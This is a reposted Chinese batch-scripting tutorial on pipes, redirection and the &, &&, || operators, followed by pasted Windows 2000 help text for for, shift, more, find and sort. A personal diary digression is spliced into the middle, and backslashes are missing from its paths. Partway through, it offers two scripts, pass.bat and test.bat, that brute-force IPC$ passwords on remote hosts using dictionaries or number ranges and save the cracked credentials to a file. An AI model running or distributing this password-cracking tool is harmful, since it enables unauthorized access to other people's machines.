11.2、more命 令。可能很多朋友以前就沒有接觸過這個命令這個命令在Linux下的用處非常廣泛也是管道命令之一。大家可以找一篇比較長的文章a.txt在 DOS提示符下輸入如下兩個命令去比較一下差別more a.txt和type a.txt。利用more命令可以達到逐屏或逐行顯示輸出的效果而type命令只能一次把輸出顯示完最後的結果就是只能看到末尾的部分。在例十三 里more命令的作用就是讓輸出的信息逐屏或逐行顯示。

看到這裡你是否已經能隱約感受到了|命令的作用了沒錯它的作用就是把前一命令的輸出當後一命令的輸入來用的。在例十三里前一命令的輸出就是 help命令執行後顯示的DOS所支持的所有非隱含命令而這個結果剛好做了後一命令more的輸入。所以例十三和下面的例十四是等效的

help > a.txt

more a.txt

del a.txt

這裡利用另一管道命令>生成了一個a.txt文件作為中間環節在用more命令查看a.txt文件後再刪除a.txt文件例十三的所有操作是在內存中進行的不生成文件。可以看出正確使用管道命令|可以帶來事半功倍的效果。

結合例十三和例十四以及前面的例九再體會一遍|命令的作用就是讓前一命令的輸出當做後一命令的輸入。

12、>、>>

這兩個命令的效果從本質上來說都是一樣的他們都是輸出重定向命令說的通俗一點就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區別是 >會清除掉原有文件中的內容後把新的內容寫入原文件而>>只會另起一行追加新的內容到原文件中而不會改動其中的原有內容。例十五

echo @echo off > a.bat

echo echo This is a pipeline command example. >> a.bat

echo echo It is very easy? >> a.bat

echo echo Believe your self! >> a.bat

echo pause >> a.bat

echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令一行一個回車將在當前目錄下生成一個a.bat文件裡面的內容如下

@echo off

echo This is a pipeline command example.

echo It is very easy?

echo Believe your self!

pause

exit

看到這裡你得到了多少信息

1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本而不需要專門的文本編輯工具

2、 管道命令>和>>的區別如上所述。如果這裡只用>命令來完成上面操作最後也會生成一個a.bat但裡面的內容就只剩下最後一 行exit了。所以>和>>一般都聯合起來用除非你重定向的輸出只有一行那麼就可以只用>了。結合例一再仔細體會輸出重定向 管道命令>和>>的用法。

13、<、>&、<&

這三個命令也是管道命令但它們一般不常用你只需要知道一下就ok了當然如果想仔細研究的話可以自己查一下資料。

<輸入重定向命令從文件中讀入命令輸入而不是從鍵盤中讀入。

>&將一個句柄的輸出寫入到另一個句柄的輸入中。

<&剛好和>&相反從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。

關於這三個管道命令的舉例在後面批處理腳本的精妙應用中還將涉及到。

下面介紹組合命令&、&&、||

組合命令顧名思義就是可以把多個命令組合起來當一個命令來執行。這在批處理腳本里是允許的而且用的非常廣泛。它的格式很簡單----既然現在已經成 了一個文件了那麼這多個命令就要用這些組合命令連接起來放在同一行----因為批處理認行不認命令數目。組合命令的作用就如同給愛人陪不是說一句是 說說十句也是說不一次把好話都說了出來效果可能會好些----當然得排除一種特殊情況這些話是否有先後順序有些話是否可以同時說。在批處理腳本 里也一樣有些時候某些命令是不能同時執行的後面給你說。

剛剛又送走了一個同學人去樓空的感覺越來越明顯望著空蕩蕩的床鋪平日里喧鬧的宿舍就只剩下我一個人了整個世界只有那個平時令人非常討厭的老鼠這時 候才顯得可愛起來----只有它會陪著我在這不敢開燈的漆黑夜裡----一個連期末考試都應付不了的失敗男人。失敗我感到快要呼吸不過來這種失敗的壓 力簡直令我窒息簡直讓我的手接收不到大腦的信號簡直讓這篇未完成的教程夭折。但我能怪誰

忙碌了一學期要過年了卻掛了科失敗掛了科也倒罷了竟然一個人拖全班的後退失敗中的失敗更失敗的是在這最失落的時候竟然找不到一個人可以傾 訴然而最失敗的是突然發現自己竟然如此脆弱如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題為什麼明知道那段情是一個旋渦卻還心甘情願的 往裡面跳----這就是青春風一樣的年齡火一樣不安的心。不再愛了我不要再一個人的時候苦苦等待不再愛了我不要在你給的囚籠里憐憫的愛不再愛 了我不要在別人的視線里如此可笑不再愛我不再愛。就算塌下來我也要一個人扛著頭不能低腰不能彎不能喘息不能傾訴因為雖然失敗但還是男人 是男人就不能向困難低頭

14、&

這可以說是最簡單的一個組合命令了它的作用是用來連接n個DOS命令並把這些命令按順序執行而不管是否有命令執行失敗。例十六

copy a.txt b.txt /y & del a.txt

其實這句和move a.txt b.txt的效果是一樣的只不過前者是分了兩步來進行的在後面還將涉及到具體使用哪種方法的問題。這個命令很簡單就不多費口舌了唯一需要注意的一點是這裡&兩邊的命令是有執行順序的從前往後執行。

15、&&

切記這裡介紹的幾個命令都是組合命令所以他們前後都必須都有其他命令要不如何組合。這個命令也不例外它可以把它前後兩個命令組合起來當一個命 令來用與&命令不同之處在於它在從前往後依次執行被它連接的幾個命令時會自動判斷是否有某個命令執行出錯一旦發現出錯後將不繼續執行後面剩 下的命令。這就為我們自動化完成一些任務提供了方便。例十七

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:ackupwww

如果遠程主機存在user.mdb則copy到本地e:ackupwww如果不存在當然就不執行copy了。這句對搞網管的朋友是否有點用呢呵呵。

其實它和下面這句的作用是一樣的

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:ackupwww

至於你喜歡用哪個就隨便了我沒辦法判斷dir和if兩個命令哪一個執行效率更高所以不知道用哪個更好呵呵。

你是否還記得"有些命令是不能同時執行的"你是否相信這句話當然得相信不信就給你出道題把C盤和D盤的文件和文件夾列出到a.txt文件中。你將 如何來搞定這道題有朋友說這還不是很easy的問題嗎同時執行兩個dir然後把得到的結果>到a.txt里就ok了嘛看例十八

dir c: && dir d: > a.txt

仔細研究一下這句執行後的結果看看是否能達到題目的要求錯了這樣執行後a.txt里只有D盤的信息為什麼就因為這裡&&命令和 >命令不能同時出現一個句子里批處理把一行看成一個句子組合命令&&的優先順序沒有管道命令>的優先順序高自己總結 的不妥的地方請指正所以這句在執行時將本分成這兩部分dir c:和dir d: > a.txt而並不是如你想的這兩部分dir c: && dir d:和> a.txt。要使用組合命令&&達到題目的要求必須得這麼寫

dir c: > a.txt && dir d: >> a.txt

這樣依據優先順序高低DOS將把這句話分成以下兩部分dir c: > a.txt和dir d: >> a.txt。例十八中的幾句的差別比較特殊值得好好研究體會一下。

當然這裡還可以利用&命令自己想一下道理哦

dir c: > a.txt & dir d: >> a.txt

16、||

這個命令的用法和&&幾乎一樣但作用剛好和它相反利用這種方法在執行多條命令時當遇到一個執行正確的命令就退出此命令組合不再繼續執行下面的命令。題目查看當前目錄下是否有以s開頭的exe文件如果有則退出。例十九

@echo off

dir s*.exe || exit

其實這個例子是有破綻的你看出來了嗎其實很簡單自己試試就知道了嘛如果存在那個exe文件就退出如果不存在那個exe文件也退出為什麼 因為如果不存在那個.exe文件則前一條命令dir s*.exe執行肯定是不成功的所以就繼續執行exit自然就退出了呵呵。那麼如何解決題目給出的問題呢看例二十

@echo off

dir s*.exe || echo Didnt exist file s*.exe & pause & exit

這樣執行的結果就能達到題目的要求是否存在s*.exe將出現兩種結果。這裡加暫停的意思當然是讓你能看到echo輸出的內容否則一閃而過的窗口echo就白寫了。

給出兩個更好研究優先順序同時也是更難理解的腳本仔細研究它們的區別以便徹底理解各種命令的優先順序順序對以後自己利用這些命令寫腳本有很大的好處----不會出錯OK請看例二十一和例二十二

例二十一

@echo off

dir a.ttt /a & dir a.txt || exit

例二十二

@echo off

dir a.ttt /a && dir a.txt || exit

警告患有心腦血管病的朋友請不要研究以上兩例否則輕者頭大如斗重者血管爆裂。任何人由於研究這兩個腳本的區別而造成的任何事故由自己或其合法監護人負責與本人和本論壇無關。特此警告

有關管道命令和組合命令就大概介紹到這裡了不知道聰明的你是否理解呵呵能理解就成天才了除非你以前就已經掌握千萬別小看了這幾個鬼命令大棒槌 是我的說簡直就不是人學的東西但我還是靜下心來研究了一番最後得出的結論如上所述已經一點不剩的交給你了希望你好好收藏並消化吸收當然有錯誤 被你發現了或者不完整的地方被你看出來了請趕緊告訴我一聲

這幾個命令真的把我的頭都搞大了。在網上有一篇流傳很廣的批處理教程"簡明批處理教程"雖然說的比較全面但看起來很不過癮。在對for等命令介紹時 就一個for /? > a.txt & start a.txt完事了當然這一點上我不能說人家什麼畢竟我連for /?都沒給出而對上述管道命令和組合命令、以及這篇教程以後將講到的用批處理操作註冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命 令是因為他們才是批處理的精華和靈魂能否正確利用好這幾個命令是能否掌握批處理的前提條件。如for、set等DOS命令的問題可以從DOS的角 度出發專門有針對性的學習但有關這幾個命令的問題卻是不容易精通掌握的----他們之間的關係太複雜了

將下列代碼存為bat文件

1、如果用字典破解pass.bat 字典文件路徑及名稱 主機 用戶名

2、如果用數字破解pass.bat 起始數 步長 結束數 主機 用戶名

密碼破解出來之後存放於c:pass.txt文件裡面。

將下列代碼存為pass.bat文件

@echo off

echo ------------------------------------------------------------------- >>c:pass.txt

echo ------------------------------------------------------------------- >>c:pass.txt

date /t >>c:pass.txt

time /t >>c:pass.txt

echo 破解結果 >>c:pass.txt

if "%6"=="1" goto 大棒槌是我的說2

:大棒槌是我的說1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

goto quit

:大棒槌是我的說2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

:quit

將下列代碼存為test.bat

net use \%1ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令執行返回結果net use成功返回0失敗返回2

:answer0

echo 遠程主機"%1" >>c:pass.txt

echo 用 戶"%3" >>c:pass.txt

echo 密 碼%2 >>c:pass.txt

net use \%1ipc$ /delet

exit

:answer2

For

對一組文件中的每個文件運行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令請使用以下語法

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for請使用以下語法

for %variable in (set) do command [command-parameters]

參數

%%variable 或 %variable

代表可替換的參數。for 命令使用在 set 中指定的每個文本字元串替換 %%variable或 %variable直到此命令在 commandparameters中指定處理所有的文件為止。使用 %% variable 在批處理程序中執行 for 命令。使用 % variable 通過命令提示符執行 for 命令。變數名區分大小寫。

(set)

指定要用指定的命令處理的一個或多個文件或文本字元串。需要括弧。

command

指定要在指定的 set 所包含的每個文件上執行的命令。

command-parameters

指定要用於指定命令如果指定的命令要使用任何參數或開關的任何參數或開關。

如果啟用了命令擴展Windows 2000 中的默認設置)將支持 for 命令的其他形式。

For 命令的其他形式

如果啟用了命令擴展將支持如下 for 命令的其他格式

只限於目錄

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符* 和 ?則指定與目錄名匹配而不是文件名。

遞歸

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

進入根目錄樹[drive:]path在樹的每個目錄中執行 for 語句。如果在 /R 後沒有指定目錄則假定為當前目錄。如果 set 只是一個句號 (.) 字元則只列舉目錄樹。

迭代

for /L [%% | %]variable in (startstepend) do command [command-parameters]

集合是一系列按步長量劃分的、從頭到尾的數字。這樣(1,1,5) 將生成序列 1 2 3 4 5而 (5,-1,1) 將生成序列 (5 4 3 2 1)。

文件解析

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]

for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]

for /F ["options"] [%% | %]variable in (command) do command [command-parameters]

或者如果出現 usebackq 選項

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]

for /F ["options"] [%% | %]variable in (literal string) do command [command-parameters]

for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset 參數指定一個或多個文件名稱。在繼續到 filenameset 中的下一個文件之前每個文件都會被打開、讀取和處理。

過程由讀取文件、分成獨立的文本行及然後將每行解析成零個或更多個令牌組成。然後使用設置為找到的一個或多個令牌字元串的變數值或多個值集合調用 for 循環體。默認情況下/F 傳遞每個文件每一行的第一個空白分隔符號。

跳過空行。通過指定可選的"options"參數可以覆蓋默認的解析行為。這是一個引用字元串它包含一個或多個關鍵字以指定不同的解析選項。

關鍵字是

關鍵字 說明

eol=c 指定行章節附註釋字元只一個字元

skip=n 指定在文件的開頭跳過的行數。

delims=xxx 指定定界符集合。這將替換空格和製表符的默認分隔符集。

tokens=x,y,m-n 指定將令牌從每行傳遞到每個反覆的正文。這將導致分配其他變數名。m-n 格式是一個範圍指定從 mth 到 nth 的令牌。如

果在令牌 = 字元串中最後一個字元是星號則將分配附加的變數並在解析最後一個令牌後在行上接收剩餘的文本。

usebackq 指定將右引號字元串作為命令執行單引號字元串是文字字元串命令您可以使用雙引號包括 filenameset 中的文件名。

變數替換

此外已經增強了 for 變數引用的替換修改程序。現在可以使用下列可選的語法對於任何變數 I

變數使用修改程序 說明

%~I 展開刪除了周圍的任何引號 (") 的 %I

%~fI 將 %I 展開到完全合格的路徑名

%~dI 只將 %I 展開到驅動器號

%~pI 只將 %I 展開到路徑

%~nI 只將 %I 展開到文件名

%~xI 只將 %I 展開到文件擴展名

%~sI 展開路徑以只包含短名稱

%~aI 將 %I 展開到文件的文件屬性

%~tI 將 %I 展開到文件的日期/時間

%~zI 將 %I 展開到文件大小

%~$PATH:I 搜索 PATH 環境變數所列出的目錄,並將 %I 展開開到第一個找到結果的全部合格名稱。如果沒有定義環境變數名或搜索後沒有找到文件則此修改程序將擴展為空字元串。

修改程序可以合併以獲得複雜的結果

變數使用合併的修改程序 說明

%~dpI 只將 %I 展開到驅動器號和路徑

%~nxI 只將 %I 展開到文件名和擴展名

%~fsI 將 %I 展開到只包含短名稱的完整路徑名

%~dp$PATH:I 在 PATH 環境變數所列出的目錄中搜索 %I並展開到第一個找到結果的驅動器號和路徑

%~ftzaI 將 %I 擴展到與 dir 相似的輸出行

注意

在上述範例中%I 和 PATH 可被其他有效值替換。通過有效的 for 變數名終止 %~ 語法。

使用大寫變數名例如 %I可以使代碼更具可讀性並且避免與不區分大小寫的修改程序混淆。

Shift

更改批處理文件中可替換參數的位置。

shift

啟用命令擴展Windows 2000 中的默認設置後shift 命令支持 /n 開關該開關通知命令在第 n 個參數處開始更改n 可以是從 0 到 8 的任何一個值。例如

SHIFT /2

將 %3 改為 %2將 %4 改為 %3 等等而 %0 和 %1 保持不變。

篩選器命令

篩選器命令可以幫助您排序、查看和選擇部分命令輸出結果。

通過篩選器命令傳遞信息

篩選器命令可以劃分、重排以及提取通過的部分信息操作。Windows 2000 有三個篩選器命令

more 命令每次顯示一屏文件內容或命令輸出。

find 命令在文件和命令輸出中搜索指定字元。

sort 命令按字母順序排列文件和命令輸出。

要將輸入從文件發送到篩選器命令請使用小於符號 (<)。如果要篩選器命令從其他命令獲得輸入請使用管道 (|)。

使用 more 命令來控制屏幕顯示

more 命令每次一屏地顯示文件的內容或命令輸出。例如下面的 more 命令每次顯示一屏 List.txt 文件的內容

more < list.txt

信息顯示一屏後會出現字"More"。要繼續顯示下一屏請按鍵盤上任意鍵。要停止命令且不查看詳細信息請按 CTRL+C 鍵。

如果使用產生多屏輸出的命令more 將十分有用。例如假設定要查看硬碟的目錄樹。如果 Windows 2000 不能將目錄在一屏內全部顯示出來請使用帶管道號 (|) 和 more 命令的 tree 命令如下例所示

tree c: | more

tree 命令的第一屏輸出被顯示後跟詞"More"。Windows 2000 暫停直到用戶按鍵盤上的任意鍵為止PAUSE 鍵除外。

使用 find 命令搜索文本

find 命令在一個或多個文件中搜索指定文本。Windows 2000 顯示每個包含該文本的行。find 命令可以用作篩選器命令或者標準

的 Windows 2000 命令。有關將 find 用作標準的 Windows 2000 命令的信息請單擊"相關主題"列表中的 find。

要將 find 當作篩選器命令使用請包含小於符號 (<) 和搜索的文件名。當輸入文件名時請記住搜索要區分大小寫。例如下面的命令查找文件 Trade.txt 中所有的"Pacific Rim"字元串

find "Pacific Rim" < trade.txt

要保存 find 命令的輸出而不是顯示輸出請使用大於號 (>) 和要存儲輸出的文件名。例如下面的命令查找文件 Trade.txt 中所有的

"Pacific Rim"字元串並將結果保存在 Nwtrade.txt 文件中

find "Pacific Rim" < trade.txt > nwtrade.txt

對文本文件排序

sort 命令按字母順序排列文本文件或命令的輸出。例如可以使用以下命令對 List.txt 文件的內容進行排序並在屏幕上顯示結果

sort < list.txt

在 此範例中sort 命令對 List.txt 文件的行進行排序並顯示結果但不更改文件。要保存 sort 命令的輸出而不是顯示輸出請在命令中包含大於號 (>) 和文件名。例如可以使用以下命令對 List.txt 文件的行按字母順序排序並將結果存到 Alphlist.txt 文件中

sort < list.txt > alphlist.txt

要排序命令的輸出請鍵入後面帶有管道 (|) 和 sort 命令的命令。例如下面的命令對 find 命令的輸出結果進行排序

find "Jones" maillst.txt | sort

在鍵入該命令時Windows 2000 按字母順序列出在其中出現"Jones"的行。

帶重定向符的合併命令

可以將篩選器命令、其他命令和文件名合併以生成自定義命令。例如可以使用以下命令存儲包含"LOG"字元串的文件名:

dir /b | find "LOG" > loglist.txt

Windows 2000 通過 find 過濾器命令發送 dir 命令的輸出並將包含字元串"Log"的文件名存儲在 Loglist.txt 文件中。將結果存儲為文件名列表如A.log、Logdat.svd 和 Mylog.bat。

要在相同命令中使用多個篩選器請使用管道 (|) 分隔篩選器。例如下面的命令搜索 C 盤上的每個目錄以查找包含"Log"字元串的文件名並且每次顯示一屏

dir c: /s /b | find "LOG" | more

因為使用管道 (|)Windows 2000 通過 find 命令發送 dir 命令的輸出結果。find 命令只選擇包含字元串"Log"的文件名。more 命令每次一屏地顯示 find 命令選擇的文件名。

More

每次顯示一個輸出屏幕。該命令通常用於查看長文件。可以單獨使用此命令或者使用它控制其他命令的輸出例如 type 命令。當顯示填充可用的查看區域時將出現 more 提示用戶可以輸入許多命令來控制查看文件其餘部分的方式。

command name | more [/c] [/p] [/s] [/tn] [+n]

more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename

more [/c] [/p] [/s] [/tn] [+n] [files]

參數

[drive:][path] filename

指定要顯示的文件。

command name

指定將顯示其輸出的命令。

/c

顯示頁面前清除屏幕。

/p

擴展換頁符。

/s

將多個空白行更改為一個空白行。

/tn

將製表位更改為 n 個空格

+n

顯示由 n 指定的行開始的第一個文件。

files

指定要顯示的文件列表。用空格分隔文件名。

More 子命令

以下命令在 more 提示 (-- More --) 下接受。

關鍵字 操作

space 顯示下一頁。

ENTER 顯示下一行。

F 顯示下一個文件。

q 退出。

? 顯示可用命令。

= 顯示行號。

P n 顯示以下 n 行。

S n 跳過下面 n 行。

Find

在一個文件或多個文件中搜索指定的文本字元串。

當搜索到指定的文件後find 將顯示出包含指定字元串的所有行。

find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]

參數

/v

顯示未包含指定字元串的所有行。

/c

只顯示包含指定字元串的行數。

/n

將文件行號置於每行開頭。

/I

指定搜索不區分大小寫。

"string"

指定要搜索的字元組。必須將 string 的文本包括在引號中。

[drive:][path] filename

指定要在其中搜索指定字元串的文件的位置和名稱。

Sort

讀取輸入、排序數據並將結果寫到屏幕、文件和其他設備上。

sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:]

[path3]filename3]

[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:]

[path2]] [/o [drive3:][path3]filename3]

參數

/r

顛倒排序順序即從 Z 到 A 排序然後從 9 到 0 排序。

/+n

指定字元位置號 nsort 在此處開始每次比較。例如/+3 表示每次比較在每行的第三個字元開始。少於 n 個字元的行在其他行之前排序。默認情況下比較在每行的第一個字元開始。

/m kilobytes

指定用於排序的主內存數量按千位元組 (KB) 計。使用的內存最小值總是 160 KB。如果指定了內存大小則無論有多少主內存可用指定的確切數量但至少 160 KB的內存將用於排序。

如果輸入輸出均為文件在沒有指定大小時默認最大內存大小為可用主內存的 90否則為主內存的 45。默認設置通常會產生最佳的性能。

/l locale

替代由系統默認區域設置定義的字元排序順序即在安裝 Windows 2000 時選擇的語言和"國家地區"。目前默認區域設置唯一的備用選項就是"C"區域設置該區域設置比自然語言排序快根據二進位編碼對字元排序。

/rec characters

指定記錄或輸入文件的行中的最多字元數默認值為 4096最大值為 65535。

[drive1:][path1]filename1

指定要排序的文件。如果沒有指定文件名則對標準輸入排序。指定輸入文件比將同一文件作為標準輸入重定向速度快。

/t [drive2:][path2]

指定保留 sort 命令工作存儲的目錄路徑防止數據不能裝入主內存。默認為使用系統臨時目錄。

/o [drive3:][path3]filename3

指定要存儲排序後的輸入的文件。如果沒有指定數據將寫入標準輸出。指定輸出文件比將同一文件作為標準輸出重定向速度快!


推薦閱讀:

為什麼 Windows 不考慮用華文黑體(黑體-簡)作簡體中文界面字體?
Surface Pro 4 什麼時候發布?
為什麼2016款MacBook Pro通過Boot Camp安裝Windows會對揚聲器造成物理損壞?
現在都是win10了,win7連debug都沒了!學習彙編有什麼用?對於手機APP的開發有什麼幫助?

TAG:MicrosoftWindows | 批處理 |